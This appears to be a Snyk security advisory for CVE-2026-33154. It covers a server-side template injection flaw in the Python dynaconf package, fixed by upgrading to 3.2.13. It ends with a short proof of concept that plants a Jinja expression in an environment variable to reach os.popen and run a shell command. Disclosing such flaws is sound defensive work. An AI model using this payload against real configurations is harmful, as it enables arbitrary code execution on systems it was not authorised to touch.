Improper Neutralization of Special Elements Used in a Template Engine Affecting dynaconf package, versions [,3.2.13)
Threat Intelligence
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-DYNACONF-15758256
- published23 Mar 2026
- disclosed20 Mar 2026
- creditredyank
Introduced: 20 Mar 2026
CVE-2026-33154 (opens in a new tab)How to fix?
Upgrade dynaconf to version 3.2.13 or higher.
Overview
dynaconf is a The dynamic configurator for your Python Project
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements Used in a Template Engine due to unsafe template evaluation in the @Jinja resolver. An attacker can execute arbitrary code by injecting malicious template expressions into configuration values when the jinja2 package is installed.
Note:
This is only exploitable if the jinja2 package is present in the environment.
PoC
import os
from dynaconf import Dynaconf
# Malicious configuration injection
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] Command Execution Result:")
print(settings.RCE)